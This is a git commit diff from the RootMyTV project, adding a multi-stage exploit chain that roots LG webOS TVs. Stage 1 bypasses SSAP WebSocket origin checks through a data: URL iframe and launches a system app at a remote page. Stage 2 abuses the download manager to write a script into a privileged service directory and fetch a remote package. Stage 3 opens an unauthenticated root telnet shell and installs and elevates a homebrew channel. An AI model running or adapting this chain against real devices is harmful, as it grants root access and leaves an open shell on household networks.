kopia lustrzana https://github.com/RootMyTV/RootMyTV.github.io
Initial v2 exploit chain
rodzic
6a5752255a
commit
d8ccc66d6b
|
@ -0,0 +1,152 @@
|
||||||
|
@import url("https://fonts.googleapis.com/css2?family=Orbitron:wght@900&display=swap");
|
||||||
|
|
||||||
|
body {
|
||||||
|
background-color: #000;
|
||||||
|
font-family: sans-serif;
|
||||||
|
font-size: 15pt; /* 15pt / 22pt */
|
||||||
|
transform: translate3d(0,0,0); /* Hack to disable drag scrolling in WebOS */
|
||||||
|
overflow-x: hidden;
|
||||||
|
}
|
||||||
|
.content-center {
|
||||||
|
max-width: 40em;
|
||||||
|
margin: auto;
|
||||||
|
}
|
||||||
|
hr {
|
||||||
|
width: 90%;
|
||||||
|
height: 0;
|
||||||
|
border: 0;
|
||||||
|
margin: 2em auto;
|
||||||
|
box-shadow: 0 0 1px 1px #fff, 0 0 1em 0.5em #731178;
|
||||||
|
}
|
||||||
|
hr:after { /* https://css-tricks.com/examples/hrs/ */
|
||||||
|
content: "\00a0"; /* Prevent margin collapse */
|
||||||
|
}
|
||||||
|
header > h1 {
|
||||||
|
font-family: 'Orbitron', sans-serif;
|
||||||
|
font-weight: 900;
|
||||||
|
text-align: center;
|
||||||
|
color: #000;
|
||||||
|
font-size: 4em;
|
||||||
|
text-shadow: 0 0 3px #d4ffff, 0 0 3px #d4ffff, 0 0 3px #d4ffff, 0 0 1em #0bb6be, 0 0 0.2em #0bb6be;
|
||||||
|
}
|
||||||
|
article {
|
||||||
|
line-height: 1.5;
|
||||||
|
color: #c4f0fd;
|
||||||
|
font-family: 'Cantarell', sans-serif;
|
||||||
|
}
|
||||||
|
article > p {
|
||||||
|
text-align: justify;
|
||||||
|
margin: 1em;
|
||||||
|
}
|
||||||
|
|
||||||
|
.slider-bar {
|
||||||
|
width: 90%;
|
||||||
|
margin: 2em auto;
|
||||||
|
border: 1px solid #fff;
|
||||||
|
position: relative;
|
||||||
|
display: block;
|
||||||
|
border-radius: 1em;
|
||||||
|
|
||||||
|
box-shadow: 0 0 1px 1px #fff, 0 0 1em 0.5em #731178, inset 0 0 1em 0.5em #731178, inset 0 0 1px 1px #fff;
|
||||||
|
/**/
|
||||||
|
background: black;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Use pre-baked glow effect to improve perf on the TV itself */
|
||||||
|
/* @media only screen and (width: 1920px) {
|
||||||
|
.slider-bar:before {
|
||||||
|
content: "";
|
||||||
|
background-image: url("./sliderbar.png");
|
||||||
|
position: absolute;
|
||||||
|
width: 1173px;
|
||||||
|
height: 240px;
|
||||||
|
background-repeat: no-repeat;
|
||||||
|
margin-top: -2em;
|
||||||
|
margin-left: -2em;
|
||||||
|
}
|
||||||
|
.slider-text {
|
||||||
|
background-image: url("./slidetoroot.png");
|
||||||
|
background-position: center;
|
||||||
|
background-repeat: no-repeat;
|
||||||
|
}
|
||||||
|
}*/
|
||||||
|
.slider-button {
|
||||||
|
z-index: 1;
|
||||||
|
display: block;
|
||||||
|
border: 1px solid #fff;
|
||||||
|
border-radius: 0.5em;
|
||||||
|
margin: 0.4em;
|
||||||
|
position: absolute;
|
||||||
|
top: 0;
|
||||||
|
box-sizing:border-box;
|
||||||
|
left: 0%;
|
||||||
|
width: 15%;
|
||||||
|
height: 80%;
|
||||||
|
text-align: center;
|
||||||
|
|
||||||
|
box-shadow: 0 0 1px 1px #fff, 0 0 1em 0.2em #0bb6be, inset 0 0 1em 0.2em #0bb6be, inset 0 0 1px 1px #fff;
|
||||||
|
/**/
|
||||||
|
}
|
||||||
|
.slider-button > p {
|
||||||
|
cursor: grab;
|
||||||
|
font-family: 'Orbitron', sans-serif;
|
||||||
|
font-size: 3em;
|
||||||
|
margin: 0;
|
||||||
|
color: black;
|
||||||
|
margin-top: -0.3em;
|
||||||
|
|
||||||
|
text-shadow: 0 0 3px #d4ffff, 0 0 3px #d4ffff, 0 0 3px #d4ffff, 0 0 1em #0bb6be, 0 0 0.3em #0bb6be, 0 0 0.3em #0bb6be;
|
||||||
|
/**/
|
||||||
|
}
|
||||||
|
.slider-text {
|
||||||
|
margin: 0;
|
||||||
|
display: block;
|
||||||
|
text-align: center;
|
||||||
|
width: 100%;
|
||||||
|
height: 100%;
|
||||||
|
font-family: 'Orbitron', sans-serif;
|
||||||
|
font-size: 2.5em;
|
||||||
|
color: black;
|
||||||
|
|
||||||
|
text-shadow: 0 0 3px #d4ffff, 0 0 3px #d4ffff, 0 0 3px #d4ffff, 0 0 1em #0bb6be, 0 0 0.2em #0bb6be;
|
||||||
|
/**/
|
||||||
|
padding-top: 0.04em;
|
||||||
|
padding-bottom: 0.12em;
|
||||||
|
|
||||||
|
|
||||||
|
position: relative;
|
||||||
|
}
|
||||||
|
.slider-text:after {
|
||||||
|
content: "slide to root";
|
||||||
|
position: absolute;
|
||||||
|
left: 0;
|
||||||
|
text-shadow: none;
|
||||||
|
width: 100%;
|
||||||
|
|
||||||
|
background-clip: text;
|
||||||
|
-webkit-background-clip: text;
|
||||||
|
-moz-background-clip: text;
|
||||||
|
text-fill-color: transparent;
|
||||||
|
-webkit-text-fill-color: transparent;
|
||||||
|
-moz-text-fill-color: transparent;
|
||||||
|
background-image: linear-gradient(270deg, #000 0%, #11bbc2 15%, #000 30%, #000 100%);
|
||||||
|
animation: Shine 3000s linear infinite;
|
||||||
|
/**/
|
||||||
|
}
|
||||||
|
|
||||||
|
@keyframes Shine {
|
||||||
|
0%{
|
||||||
|
background-position: 0 0;
|
||||||
|
}
|
||||||
|
100%{
|
||||||
|
background-position: 1000000px 0; /* FIXME: should be percentage, but that breaks it */
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#log {
|
||||||
|
width: 100%;
|
||||||
|
font-size: 0.7em;
|
||||||
|
white-space: pre-wrap;
|
||||||
|
word-wrap: break-word;
|
||||||
|
}
|
||||||
|
|
|
@ -0,0 +1 @@
|
||||||
|
yep
|
|
@ -0,0 +1,181 @@
|
||||||
|
<html>
|
||||||
|
|
||||||
|
<head>
|
||||||
|
<title>RootMyTV - Stage 1</title>
|
||||||
|
<link rel="stylesheet" href="common.css" />
|
||||||
|
</head>
|
||||||
|
|
||||||
|
<body>
|
||||||
|
<header>
|
||||||
|
<h1>RootMy.TV</h1>
|
||||||
|
</header>
|
||||||
|
<hr>
|
||||||
|
<section class="content-center">
|
||||||
|
<button id="exploit" class="slider-bar">
|
||||||
|
Press to root
|
||||||
|
</button>
|
||||||
|
<article>
|
||||||
|
<pre id="log"></pre>
|
||||||
|
</article>
|
||||||
|
</section>
|
||||||
|
|
||||||
|
<script>
|
||||||
|
window.ORIGIN_URL = window.location.protocol === 'data:' ? '__START_ORIGIN__' : window.location.href;
|
||||||
|
|
||||||
|
window.onerror = function (err) {
|
||||||
|
console.error(err);
|
||||||
|
alert('error: ' + JSON.stringify(err) + '\n' + err.fileName + ' ' + err.lineNumber);
|
||||||
|
};
|
||||||
|
</script>
|
||||||
|
<script>
|
||||||
|
// Exploit data: url navigation for browsers which didn't have following patch
|
||||||
|
// applied yet (webOS 3.x):
|
||||||
|
// https://chromium.googlesource.com/chromium/src.git/+/130ee686fa00b617bfc001ceb3bb49782da2cb4e
|
||||||
|
try {
|
||||||
|
if (window.location.protocol !== 'data:') {
|
||||||
|
window.location = 'data:text/html;base64,' + btoa(document.documentElement.innerHTML
|
||||||
|
.replace('="common.css"', '="' + new URL('common.css', window.location.href).href + '"')
|
||||||
|
.replace('__START_ORIGIN__', window.location.href));
|
||||||
|
}
|
||||||
|
} catch (err) {}
|
||||||
|
|
||||||
|
function log(str) {
|
||||||
|
var logBox = document.querySelector('#log');
|
||||||
|
logBox.innerText = str + '\n' + logBox.innerText;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Minimal implementation of WebSocket API that we use to workaround origin
|
||||||
|
// filtering in SSAP (LG Connect Apps) server. data: origins result in Origin:
|
||||||
|
// null header to be sent, which is explicitly allowed.
|
||||||
|
function ProxyWebSocket(target) {
|
||||||
|
|
||||||
|
// Proxy payload - this function is run in data: iframe and is meant to exchange
|
||||||
|
// WebSocket calls and events with parent frame.
|
||||||
|
function proxyPayload(address) {
|
||||||
|
// Helper function that forwards events/messages to parent frame
|
||||||
|
function forward(type, data) {
|
||||||
|
window.parent.postMessage(JSON.stringify({type: type, data: data}), "*");
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
var conn = new WebSocket(address);
|
||||||
|
conn.onopen = function (evt) {forward('open', evt);}
|
||||||
|
conn.onclose = function (evt) {forward('close', evt);}
|
||||||
|
conn.onerror = function (evt) {forward('error', evt);}
|
||||||
|
conn.onmessage = function (evt) {forward('message', {data: evt.data});}
|
||||||
|
window.addEventListener("message", function (event) {
|
||||||
|
var msg = JSON.parse(event.data);
|
||||||
|
if (msg.type === 'send') {
|
||||||
|
conn.send(msg.data);
|
||||||
|
}
|
||||||
|
}, false);
|
||||||
|
} catch (err) {
|
||||||
|
forward('error', err);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
var self = this;
|
||||||
|
this.proxy = document.createElement('iframe');
|
||||||
|
this.proxy.style.display = 'none';
|
||||||
|
this.proxy.setAttribute('src', 'data:text/html;base64,' + btoa('<' + 'script>' + proxyPayload.toString() + ';proxyPayload(' + JSON.stringify(target) + ');</' + 'script>'));
|
||||||
|
window.addEventListener("message", function (event) {
|
||||||
|
if (event.source !== self.proxy.contentWindow) return;
|
||||||
|
const msg = JSON.parse(event.data);
|
||||||
|
if (msg.type === 'message' && self.onmessage) self.onmessage(msg.data);
|
||||||
|
if (msg.type === 'close' && self.onclose) self.onclose(msg.data);
|
||||||
|
if (msg.type === 'error' && self.onerror) self.onerror(msg.data);
|
||||||
|
if (msg.type === 'open' && self.onopen) self.onopen(msg.data);
|
||||||
|
if (msg.type === 'log') console.info('proxy:', msg.data);
|
||||||
|
}, false);
|
||||||
|
document.querySelector('body').appendChild(this.proxy);
|
||||||
|
return this;
|
||||||
|
}
|
||||||
|
ProxyWebSocket.prototype.send = function (data) {
|
||||||
|
this.proxy.contentWindow.postMessage(JSON.stringify({type: 'send', data: data}), '*');
|
||||||
|
}
|
||||||
|
ProxyWebSocket.prototype.close = function () {
|
||||||
|
this.proxy.parentNode.removeChild(this.proxy);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Final exploit code
|
||||||
|
var conn = null;
|
||||||
|
function bootstrap(target, url) {
|
||||||
|
try {
|
||||||
|
log('0. Connecting...');
|
||||||
|
|
||||||
|
if (conn) {try {conn.close();} catch (err) {alert(err.message)} }
|
||||||
|
conn = new ProxyWebSocket('ws://' + target + ':3000');
|
||||||
|
conn.onopen = function (evt) {
|
||||||
|
console.info('open', evt);
|
||||||
|
log('1. Connected, registering... Accept prompt on the TV.');
|
||||||
|
const handshake = {
|
||||||
|
id: "reg_req",
|
||||||
|
type: "register",
|
||||||
|
payload: {
|
||||||
|
forcePairing: false,
|
||||||
|
pairingType: "PROMPT",
|
||||||
|
"client-key": "xxx",
|
||||||
|
|
||||||
|
// Minimal manifest that gives us permission to launch a system
|
||||||
|
// application
|
||||||
|
manifest: {
|
||||||
|
manifestVersion: 1,
|
||||||
|
permissions: ["LAUNCH"],
|
||||||
|
},
|
||||||
|
}
|
||||||
|
};
|
||||||
|
conn.send(JSON.stringify(handshake));
|
||||||
|
};
|
||||||
|
|
||||||
|
conn.onmessage = function (evt) {
|
||||||
|
const msg = JSON.parse(evt.data);
|
||||||
|
|
||||||
|
if (msg.type === 'registered') {
|
||||||
|
log('2. Registered - opening webpage...');
|
||||||
|
conn.send(JSON.stringify({
|
||||||
|
id: 'launch_req',
|
||||||
|
type: "request",
|
||||||
|
uri: "ssap://system.launcher/launch",
|
||||||
|
payload: {
|
||||||
|
id: "com.webos.app.facebooklogin",
|
||||||
|
params: {
|
||||||
|
server: url.replace('http://', '').replace('https://', '') + "#",
|
||||||
|
}
|
||||||
|
},
|
||||||
|
}));
|
||||||
|
} else if (msg.type === 'response') {
|
||||||
|
if (msg.payload.returnValue === true && msg.id === 'launch_req') {
|
||||||
|
log('2. Launch request finished');
|
||||||
|
} else if (msg.id !== 'reg_req') {
|
||||||
|
log('Unexpected response: ' + evt.data);
|
||||||
|
}
|
||||||
|
} else if (msg.type === 'error') {
|
||||||
|
log('Unexpected message, connection prompt likely declined:\n' + evt.data);
|
||||||
|
} else {
|
||||||
|
log('Unexpected message: ' + evt.data);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
conn.onclose = function (evt) {
|
||||||
|
console.info('close', evt);
|
||||||
|
log('Closed');
|
||||||
|
};
|
||||||
|
conn.onerror = function (evt) {
|
||||||
|
console.info('error', evt);
|
||||||
|
if (evt.message && evt.message.indexOf('insecure') !== -1) {
|
||||||
|
log('Error occured during connection... Attempting data URL hack...');
|
||||||
|
} else {
|
||||||
|
log('Error occured during connection - Do you have LG Connect Apps enabled?');
|
||||||
|
}
|
||||||
|
};
|
||||||
|
} catch (err) {
|
||||||
|
log("An unexpected error occured: " + err.toString());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
document.querySelector('#exploit').addEventListener('click', function () {
|
||||||
|
bootstrap('localhost', new URL('stage2.html', ORIGIN_URL).href);
|
||||||
|
});
|
||||||
|
</script>
|
||||||
|
</body>
|
||||||
|
|
||||||
|
</html>
|
|
@ -0,0 +1,88 @@
|
||||||
|
<html>
|
||||||
|
|
||||||
|
<head>
|
||||||
|
<title>RootMyTV - Stage 2</title>
|
||||||
|
<link rel="stylesheet" href="common.css" />
|
||||||
|
</head>
|
||||||
|
|
||||||
|
<body>
|
||||||
|
<header>
|
||||||
|
<h1>RootMy.TV</h1>
|
||||||
|
</header>
|
||||||
|
<hr>
|
||||||
|
<section class="content-center">
|
||||||
|
<article>
|
||||||
|
<pre id="log"></pre>
|
||||||
|
</article>
|
||||||
|
</section>
|
||||||
|
<script src="webOSTV.js"></script>
|
||||||
|
<script>
|
||||||
|
function log(str) {
|
||||||
|
var logBox = document.querySelector('#log');
|
||||||
|
logBox.innerText = str + '\n' + logBox.innerText;
|
||||||
|
}
|
||||||
|
|
||||||
|
window.onerror = function (err) {log('Unexpected error: ' + err);};
|
||||||
|
|
||||||
|
(function () {
|
||||||
|
function download(url, targetDir, targetFilename, success) {
|
||||||
|
var target = new URL(url, window.location.href).href;
|
||||||
|
log(targetFilename + ': Downloading from ' + target + '...');
|
||||||
|
webOS.service.request('luna://com.webos.service.downloadmanager', {
|
||||||
|
method: 'download',
|
||||||
|
parameters: {
|
||||||
|
target: target,
|
||||||
|
targetDir: targetDir,
|
||||||
|
targetFilename: targetFilename,
|
||||||
|
subscribe: true,
|
||||||
|
},
|
||||||
|
|
||||||
|
onSuccess: function (res) {
|
||||||
|
if (res.completed === true) {
|
||||||
|
if (res.destPath !== targetDir) {
|
||||||
|
log(targetFilename + ': Download completed, but target directory (' + res.destPath + ') did not match what we expected (' + targetDir + '). This likely means your TV is not vulnerable to LunaDownloadMgr exploit.');
|
||||||
|
} else if (res.httpStatus !== 200) {
|
||||||
|
log(targetFilename + ': Download completed, but finished with a HTTP status code ' + res.httpStatus);
|
||||||
|
} else {
|
||||||
|
log(targetFilename + ': Download completed');
|
||||||
|
success();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
|
||||||
|
onFailure: function (err) {
|
||||||
|
log('err: ' + JSON.stringify(err));
|
||||||
|
},
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
function reboot() {
|
||||||
|
webOS.service.request('luna://com.webos.service.sleep', {
|
||||||
|
method: 'shutdown/machineReboot',
|
||||||
|
parameters: {
|
||||||
|
reason: "SwDownload"
|
||||||
|
},
|
||||||
|
onSuccess: function (res) {
|
||||||
|
log("Reboot request succeeded. Bye?");
|
||||||
|
},
|
||||||
|
onFailure: function (res) {
|
||||||
|
log("Failed to reboot: " + JSON.stringify(res));
|
||||||
|
},
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
// Placeholder...
|
||||||
|
var homebrewChannelURL = 'https://github.com/mariotaku/moonlight-tv/releases/download/v0.7.4/com.limelight.webos_0.7.4_arm.ipk';
|
||||||
|
|
||||||
|
download('stage3.sh', '/media/cryptofs/apps/usr/palm/services/com.palmdts.devmode.service/', 'start-devmode-xxx.sh', function () {
|
||||||
|
download(homebrewChannelURL, '/media/internal/downloads/', 'hbchannel.ipk', function () {
|
||||||
|
download('devmode_enabled', '/var/luna/preferences/', 'devmode_enabled', function () {
|
||||||
|
reboot();
|
||||||
|
});
|
||||||
|
});
|
||||||
|
});
|
||||||
|
})();
|
||||||
|
</script>
|
||||||
|
</body>
|
||||||
|
|
||||||
|
</html>
|
|
@ -0,0 +1,32 @@
|
||||||
|
#!/bin/sh
|
||||||
|
|
||||||
|
# Remove this script - in case a reboot happens, we should end up with a clean
|
||||||
|
# system...
|
||||||
|
rm $0
|
||||||
|
|
||||||
|
# Start root telnet server
|
||||||
|
telnetd -l /bin/sh
|
||||||
|
|
||||||
|
# give the system time to wake up
|
||||||
|
sleep 5
|
||||||
|
|
||||||
|
luna-send -a webosbrew -f -n 1 luna://com.webos.notification/createToast '{"sourceId":"webosbrew","message": "Installing homebrew channel..."}'
|
||||||
|
|
||||||
|
mkfifo /tmp/luna-install
|
||||||
|
luna-send -i 'luna://com.webos.appInstallService/dev/install' '{"id":"com.ares.defaultName","ipkUrl":"/media/internal/downloads/hbchannel.ipk","subscribe":true}' >/tmp/luna-install &
|
||||||
|
LUNA_PID=$!
|
||||||
|
echo "pid: $LUNA_PID"
|
||||||
|
egrep -i -m 1 'installed|failed' /tmp/luna-install
|
||||||
|
echo "finished"
|
||||||
|
kill -term $LUNA_PID
|
||||||
|
rm /tmp/luna-install
|
||||||
|
|
||||||
|
luna-send -a webosbrew -f -n 1 luna://com.webos.notification/createToast '{"sourceId":"webosbrew","message": "Elevating homebrew channel..."}'
|
||||||
|
/media/developer/apps/usr/palm/services/org.webosbrew.hbchannel.service/elevate-service
|
||||||
|
|
||||||
|
luna-send -a webosbrew -f -n 1 luna://com.webos.notification/createToast '{"sourceId":"webosbrew","message": "Installing final start-devmode.sh..."}'
|
||||||
|
cp /media/developer/apps/usr/palm/services/org.webosbrew.hbchannel.service/startup.sh /media/cryptofs/apps/usr/palm/services/com.palmdts.devmode.service/start-devmode.sh
|
||||||
|
|
||||||
|
luna-send -a webosbrew -f -n 1 luna://com.webos.notification/createToast '{"sourceId":"webosbrew","message": "Finished!"}'
|
||||||
|
|
||||||
|
luna-send -a com.webos.service.secondscreen.gateway -f -n 1 luna://com.webos.notification/createAlert '{"sourceId":"webosbrew","message":"webOS Homebrew Channel installed. Would you like to reboot now?","buttons":[{"label":"Reboot now","onclick":"luna://com.webos.service.sleep/shutdown/machineReboot","params":{"reason":"SwDownload"}},{"label":"Reboot later"}]}'
|
File diff suppressed because one or more lines are too long
Ładowanie…
Reference in New Issue